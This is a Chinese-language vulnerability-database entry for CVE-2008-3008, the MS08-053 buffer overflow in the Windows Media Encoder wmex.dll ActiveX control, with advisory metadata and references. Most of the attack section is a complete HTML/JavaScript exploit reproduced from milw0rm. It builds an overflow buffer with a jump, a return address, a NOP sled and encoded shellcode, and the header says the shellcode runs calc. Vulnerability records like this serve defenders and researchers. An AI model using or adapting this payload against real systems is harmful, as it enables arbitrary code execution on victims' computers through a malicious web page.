Microsoft MediaEncoder wmex.dll 缓冲区溢出漏洞

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漏洞ID 1116106 漏洞类型 缓冲区溢出
发布时间 2008-09-13 更新时间 2008-09-25
CVE编号 CVE-2008-3008 CNNVD-ID CNNVD-200809-109
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/6454
https://www.securityfocus.com/bid/31065
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200809-109
|漏洞详情
WindowsMediaEncoder是一个强大的流媒体制作工具。WindowsMediaEncoder9系列中的WMEX.DLLActiveX控件存在缓冲区溢出漏洞。远程攻击者可通过提供一个超长的第一个参数给GetDetailsString,执行任意代码。
|漏洞EXP
<html>
<pre>

 =============================================================================
 MS08-053 Windows Media Encoder wmex.dll ActiveX Control Buffer Overflow  
 =============================================================================

 Calc execution POC Exploit for WinXP SP2 PRO English / IE6.0 SP2

 Found by   : Nguyen Minh Duc and Le Manh Tung
 Advisory   : http://www.microsoft.com/technet/security/Bulletin/MS08-053.mspx
 
 Exploit by : haluznik | haluznik<at>gmail.com

 09.10.2008 
 =============================================================================

<input language=JavaScript onclick=poc() type=button value="launch exploit">

<OBJECT id="target" classid="clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C">
</OBJECT>

<script>

function poc() {
 
var shellcode = unescape(
"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4948%u4949" +
"%u4949%u4949%u4949%u4949%u5a51%u436a%u3058%u3142%u4250%u6b41" +
"%u4142%u4253%u4232%u3241%u4141%u4130%u5841%u3850%u4242%u4875" +
"%u6b69%u4d4c%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f%u6e68%u736b" +
"%u716f%u6530%u6a51%u724b%u4e69%u366b%u4e54%u456b%u4a51%u464e" +
"%u6b51%u4f70%u4c69%u6e6c%u5964%u7350%u5344%u5837%u7a41%u546a" +
"%u334d%u7831%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b%u726c%u4c6b" +
"%u534b%u376f%u636c%u6a31%u4e4b%u756b%u6c4c%u544b%u4841%u4d6b" +
"%u5159%u514c%u3434%u4a44%u3063%u6f31%u6230%u4e44%u716b%u5450" +
"%u4b70%u6b35%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b%u6c30%u5770" +
"%u5770%u4770%u4c70%u704b%u4768%u714c%u444f%u6b71%u3346%u6650" +
"%u4f36%u4c79%u6e38%u4f63%u7130%u306b%u4150%u5878%u6c70%u534a" +
"%u5134%u334f%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f%u4147%u4163" +
"%u504c%u4273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306c" +
"%u4163%u7071%u536c%u6653%u314e%u7475%u7038%u7765%u4370");

var buff= "";
var nsp = unescape("%u06EB%u9090");
var sh = unescape("%u6950%u74C9");
var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090");

for (i=0;i<1638;i++)  buff=buff + unescape("%u4141");

buff = buff + nsp + sh + nop + shellcode;

target.GetDetailsString(buff,1);
}

</script>
</pre>
</html>

# milw0rm.com [2008-09-13]
|受影响的产品
Nortel Networks Self-Service WVADS 0 Nortel Networks Self-Service Speech Server 0 Nortel Networks Self-Service Peri Workstation 0 Nortel Networks Self-Service Peri Application 0 Nortel Ne
|参考资料

来源:US-CERT
名称:TA08-253A
链接:http://www.us-cert.gov/cas/techalerts/TA08-253A.html
来源:US-CERT
名称:VU#996227
链接:http://www.kb.cert.org/vuls/id/996227
来源:MS
名称:MS08-053
链接:http://www.microsoft.com/technet/security/Bulletin/MS08-053.mspx
来源:SECTRACK
名称:1020832
链接:http://www.securitytracker.com/id?1020832
来源:BID
名称:31065
链接:http://www.securityfocus.com/bid/31065
来源:MILW0RM
名称:6454
链接:http://www.milw0rm.com/exploits/6454
来源:VUPEN
名称:ADV-2008-2521
链接:http://www.frsirt.com/english/advisories/2008/2521
来源:OVAL
名称:oval:org.mitre.oval:def:6018
链接:http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:6018
来源:HP
名称:SSRT080133
链接:http://marc.info/?l=bugtraq&m=122235754013992&w=2
来源:HP
名称:SSRT080133
链接:http://marc.info/?l=bugtraq&m=122235754013992&w=2